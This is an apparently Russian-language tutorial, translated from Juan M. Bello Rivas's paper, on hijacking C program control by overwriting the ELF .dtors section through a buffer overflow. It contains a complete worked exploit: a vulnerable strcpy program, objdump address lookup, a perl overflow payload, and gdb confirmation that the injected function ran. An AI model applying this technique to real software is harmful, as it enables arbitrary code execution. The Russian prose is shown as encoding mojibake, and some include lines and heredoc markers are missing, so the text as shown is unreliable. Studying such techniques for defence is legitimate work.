ÏÅÐÅÇÀÏÈÑÜ ÑÅÊÖÈÈ .DTORS
Juan M. Bello Rivas
 ýòîé ñòàòüå âêðàòöå èçëîæåíî îáúÿñíåíèå òåõíèêè ïîëó÷åíèÿ êîíòðîëÿ
íàä èñïîëíåíèåì ïðîãðàììû íà ÿçûêå C, îòêîìïèëèðîâàííîé ñ ïîìîùüþ gcc.
Ïîäðàçóìåâàåòñÿ, ÷òî ÷èòàòåëü çíàêîì ñ îñíîâíûìè òåõíèêàìè ïåðåïîëíåíèÿ
è ôîðìàòîì ELF.
Áëàãîäàðíîñòè
ga è dvorak çà èíòåðåñíîå îáñóæäåíèå.
Âêðàòöå
gcc ïðåäîñòàâëÿåò ôóíêöèÿì ìíîæåñòâî àòðèáóòîâ, îñîáûé èíòåðåñ äëÿ
íàñ ïðåäñòàâëÿþò äâà èç íèõ: constructor è destructor. Ýòè àòðèáóòû óñòàíàâëèâàþòñÿ
ïðîãðàììèñòîì ñëåäóþùèì îáðàçîì:
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
Ôóíêöèè ñ àòðèáóòîì `constructor' èñïîëíÿþòñÿ äî ôóíêöèè main(), â
òî âðåìÿ êàê îáúÿâëåííûå ñ àòðèáóòîì `destructor' èñïîëíÿþòñÿ ñðàçó _ïîñëå_
òîãî, êàê çàâåðøèòñÿ main(). Â èñïîëíÿåìîì ELF îáðàçå ýòî áóäåò ïðåäñòàâëåííî
â âèäå äâóõ ðàçëè÷íûõ ñåêöèé: .ctors è .dtors. Îáå îíè èìåþò ñëåäóþùåå
ñòðîåíèå:
0xffffffff ... 0x00000000
ÇÀÌÅ×ÀÍÈÅ: Åñëè âû äåéñòâèòåëüíî õîòèòå óçíàòü îá ýòîì âñå, ÿ ðåêîìåíäóþ
âàì ïðîñìîòðåòü â âàøåì ëþáèìîì òåêñòîâîì ðåäàêòîðå ôàéë gcc-2.95.2/gcc/collect2.c
Ñ ýòîé òî÷êè çðåíèÿ ñòîèò ïðèíÿòü â ðàñ÷åò íåñêîëüêî ìîìåíòîâ:
* .ctors è .dtors îòîáðàæàþòñÿ â ïàìÿòü â àäðåñíîì
ïðîñòðàíñòâå ïðîöåññà è ïî óìîë÷àíèþ ìîãóò áûòü ïåðåçàïèñàíû.
* Ýòè ñåêöèè íå èñ÷åçíóò ïîñëå îáû÷íîãî âûïîëíåíèÿ ïðîöåäóðû
strip(1) íàä áèíàðíûì ôàéëîì.
* Íàñ íå âîëíóåò, îáúÿâèò ëè ïðîãðàììèñò êàêóþ-ëèáî ôóíêöèþ â
êà÷åñòâå constructor èëè destructor, ïîòîìó ÷òî â ëþáîì ñëó÷àå îáå ýòè
ñåêöèè áóäóò ñîçäàíû è îòîáðàçÿòñÿ â ïàìÿòü.
Êðîâîæàäíûå äåòàëè
Íàâåðíîå, ïîðà óæå ïðîäåìîíñòðèðîâàòü âûøåèçëîæåíûå
ñîîáðàæåíèÿ. Ïîåõàëè...
$ cat > yopta.c <
#include
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
int
main(int argc, char *argv[])
{
printf("start == %p\n", start);
printf("stop == %p\n", stop);
exit(EXIT_SUCCESS);
}
void
start(void)
{
printf("hello world!\n");
}
void
stop(void)
{
printf("goodbye world!\n");
}
EOF
$ gcc -o yopta yopta.c
$ ./yopta
hello world!
start == 0x8048480
stop == 0x80484a0
goodbye world!
$ objdump -h yopta
.
.
.
14 .data 0000000c 08049558 08049558 00000558 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .eh_frame 00000004 08049564 08049564 00000564 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .ctors 0000000c 08049568 08049568 00000568 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .dtors 0000000c 08049574 08049574 00000574 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .got 00000024 08049580 08049580 00000580 2**2
CONTENTS, ALLOC, LOAD, DATA
.
.
.
$ objdump -s -j .dtors yopta
yopta: file format elf32-i386
Contents of section .dtors:
8049574 ffffffff a0840408 00000000 ............
Ìû âèäèì, ÷òî àäðåñ ôóíêöèè stop() ñîäåðæèòñÿ â .dtors, êàê è
ãîâîðèëîñü âûøå. Íàøà öåëü çäåñü - ýêñïëîèòàöèÿ ïðîãðàììû, ïîýòîìó
çàáóäåì î .ctors äî òåõ ïîð, ïîêà íå ñìîæåì ñäåëàòü ñ íåé ÷òî-íèáóäü
ïîëåçíîå.
Òåïåðü ïîñìîòðèì íà îáû÷íóþ ïðîãðàììó áåç ýòèõ àòðèáóòîâ ôóíêöèé:
$ cat > bleh.c <
#include
#include
static void bleh(void);
int
main(int argc, char *argv[])
{
static u_char buf[] = "bleh";
if (argc < 2)
exit(EXIT_FAILURE);
strcpy(buf, argv[1]);
exit(EXIT_SUCCESS);
}
void
bleh(void)
{
printf("goffio!\n");
}
EOF
$ gcc -o bleh bleh.c
$ ./bleh
$ objdump -h bleh
.
.
.
17 .dtors 00000008 0804955c 0804955c 0000055c 2**2
CONTENTS, ALLOC, LOAD, DATA
.
.
.
Õîðîøî! .dtors âñå åùå òàì, äàæå êîãäà íåò íè îäíîé ôóíêöèè,
ïîìå÷åíîé êàê destructor. Òåïåðü âçãëÿíåì íà åå ñîäåðæèìîå:
$ objdump -s -j .dtors bleh
bleh: file format elf32-i386
Contents of section .dtors:
804955c ffffffff 00000000 ........
Ïðèñóòñòâóþò òîëüêî ìåòêè íà÷àëà è êîíöà, íî íå óêàçàíî íè
îäíîãî àäðåñà ôóíêöèè.
Âîçìîæíî òî, ÷òî buf îáúÿâëåíà êàê èíèöèàëèçèðîâàííàÿ static
ïåðåìåííàÿ âûãëÿäèò ñëó÷àéíîñòüþ. Ïîñòóïàÿ òàêèì îáðàçîì, ìû çàñòàâèì åå
ðàñïîëîæèòüñÿ â ñåêöèè .data, êîòîðàÿ î÷åíü áëèçêà ê íàøåé öåëè - ñåêöèè
.dtors. Òàêèì îáðàçîì, ó íàñ ïîÿâèòüñÿ âîçìîæíîñòü äîñòèãíóòü öåëè ïðîñòûì
ïåðåïîëíåíèåì buf. Ýòî íå åäèíñòâåííûé ïóòü, ñ ïîìîùüþ êîòîðîãî ìû ìîæåì
ïèñàòü â ýòî ìåñòî, ôàêòè÷åñêè ëþáîé ìåòîä, ïîçâîëÿþùèé ïèñàòü â àäðåñíîå
ïðîñòðàíñòâî ïðîöåññà áóäåò ïîëåçåí (àòàêà íà îøèáêè â ôîðìàòíîé ñòðîêå,
ïðÿìîå êîïèðîâàíèå ôóíêöèåé strcpy c âîçâðàòîì â libc, ïîð÷à êóñêà
ïàìÿòè, âûäåëåííîãî ôóíêöèåé malloc, ...) Ìåòîä, èñïîëüçóåìûé çäåñü,
âûáðàí èç-çà ñâîåé ïðîñòîòû.
Òåïåðü íàøà öåëü âûïîëíèòü êîä, ñîäåðæàùèéñÿ â bleh() (êîòîðûé
íèêîãäà íå âûçîâåòñÿ ïðè îáû÷íûõ óñëîâèÿõ), ñîçäàíèåì çàïèñè â .dtors,
êîòîðàÿ óêàçûâàåò íà íåãî. Äëÿ ýòîãî ìû äîëæíû îñòàâèòü ìåòêó íà÷àëà è
ïåðåçàïèñàòü ìåòêó êîíöà (0x00000000).
$ objdump --syms bleh | egrep 'text.*bleh'
080484b0 l F .text 0000001a bleh
Êàê ìû âèäèì, bleh() ðàñïîëàãàåòñÿ ïî àäðåñó 0x080484b0. Ïðèøëî
âðåìÿ ýêñïëîèòèòü.
$ ./bleh `perl -e 'print "A" x 24; print "\xb0\x84\x04\x08";'`
goffio!
Segmentation fault (core dumped)
Êàê ìû è îæèäàëè, òåñò ñðàáîòàë, íî, âîçìîæíî, ëó÷øå ïðîâåðèòü
åùå ðàç è ïîñìîòðåòü íà òðóï íàøåãî ïðîöåññà, ÷òîáû óâèäåòü èçìåíåíèÿ.
$ gdb bleh core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
Core was generated by `./bleh AAAAAAAAAAAAAAAAAAAAAAAAœ
'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40013ed8 in ?? ()
(gdb) bt
#0 0x40013ed8 in ?? ()
#1 0x8048521 in _fini ()
#2 0x4003c25a in exit (status=0) at exit.c:57
#3 0x80484a3 in main ()
#4 0x400339cb in __libc_start_main (main=0x8048460 , argc=2,
argv=0xbfff
f8a4, init=0x80482e0 <_init>,
fini=0x804850c <_fini>, rtld_fini=0x4000ae60 <_dl_fini>,
stack_end=0xbffff8
9c) at ../sysdeps/generic/libc-start.c:92
(gdb) maintenance info sections
Exec file:
`/home/rwx/tmp/bleh', file type elf32-i386.
.
.
.
0x0804953c->0x08049550 at 0x0000053c: .data ALLOC LOAD DATA HAS_CONTENTS
0x08049550->0x08049554 at 0x00000550: .eh_frame ALLOC LOAD DATA
HAS_CONTENT
S
0x08049554->0x0804955c at 0x00000554: .ctors ALLOC LOAD DATA
HAS_CONTENTS
0x0804955c->0x08049564 at 0x0000055c: .dtors ALLOC LOAD DATA
HAS_CONTENTS
0x08049564->0x0804958c at 0x00000564: .got ALLOC LOAD DATA HAS_CONTENTS
.
.
.
Òåïåðü ìû õîòèì ïîñìîòðåòü, ÷òî áûëî ïåðåçàïèñàíî.
(gdb) x/x 0x08049550
0x8049550 : 0x41414141
Âîò ñîäåðæàíèå ñåêöèè .eh_frame (èñïîëüçóåìîé gcc äëÿ õðàíåíèÿ
óêàçàòåëåé íà îáðàáîò÷èêè exception äëÿ ïîääåðæèâàåìûõ èì ÿçûêîâ).
(gdb) x/x 0x08049554
0x8049554 <__CTOR_LIST__>: 0x41414141
(gdb) x/8x 0x0804955c
0x804955c <__DTOR_LIST__>: 0x41414141 0x080484b0 0x08049500
0x40013ed0
0x804956c <_GLOBAL_OFFSET_TABLE_+8>: 0x4000a960 0x400fb550
0x08048
336 0x400338cc
(gdb)
Êàê ìû âèäèì, ìû íå áåñïîêîèëèñü î òîì, ÷òîáû ïîìåñòèòü ïðèçíàê
íà÷àëà 0xffffffff â ïîäõîäÿùåå ìåñòî, è åãî íàëè÷èå áûëî ñîâñåì
íåîáÿçàòåëüíûì, ïðîñòî ïîñòàâèâ àäðåñ bleh() â íóæíóþ ïîçèöèþ, ìû
çàñòàâèëè êîä âûïîëíèòüñÿ. Ìîæíî òàêæå çàìåòèòü, ÷òî îøèáêà çàùèòû â
ïðîãðàììå ïîñëå âûïîëíåíèÿ ôóíêöèè _fini(), î÷åâèäíî, âûçâàíà ïîèñêîì
íåñóùåñòâóþùåé ìåòêè êîíöà (0x00000000) è ïåðåõîäàìè ïî êàæäîìó àäðåñó,
ñðàçó ïîñëå íàøåãî (íàéäåííûå â Global Offset Table).
Çàêëþ÷åíèå
Áûë ïîêàçàí àëüòåðíàòèâíûé ïóòü âñòàâêè øåëë-êîäà. Ýòà òåõíèêà
èìååò íåñêîëüêî ïðåèìóùåñòâ:
* Åñëè àòàêóþùèé ìîæåò ÷èòàòü
áèíàðíûé ôàéë æåðòâû, î÷åíü ëåãêî
òî÷íî îïðåäåëèòü òî ìåñòî, êóäà ìû õîòèì çàïèñàòü óêàçàòåëü íà íàø
øåëë-êîä ïðîñòûì àíàëèçîì ELF ôàéëà, è îïðåäåëåíèå ïîçèöèè .dtors áóäåò
äîñòàòî÷íûì.  ýòîì ñëó÷àå íàäåæíîñòü ýêñïëîèòà ñèëüíî âîçðàñòàåò.
* Îíà ïðîùå äðóãèõ, òàêèõ êàê
ïåðåçàïèñü ïîëÿ â Global Offset Table.
... è íåäîñòàòêîâ:
* Íåîáõîäèìî, ÷òîáû ïðîãðàììà-æåðòâà
áûëî îòêîìïèëèðîâàíà
è ñëèíêîâàíà ñ ïîìîøüþ GNU óòèëèò.
*  íåêîòîðûõ ñëó÷àÿõ áûâàåò
ñëîæíî íàéòè ìåñòî, êóäà ìîæíî
ïîìåñòèòü øåëë-êîä, ïîêà ïðîãðàììà åùå íå çàâåðøèëàñü.
Ðàçâëåêàéòåñü! :)
grange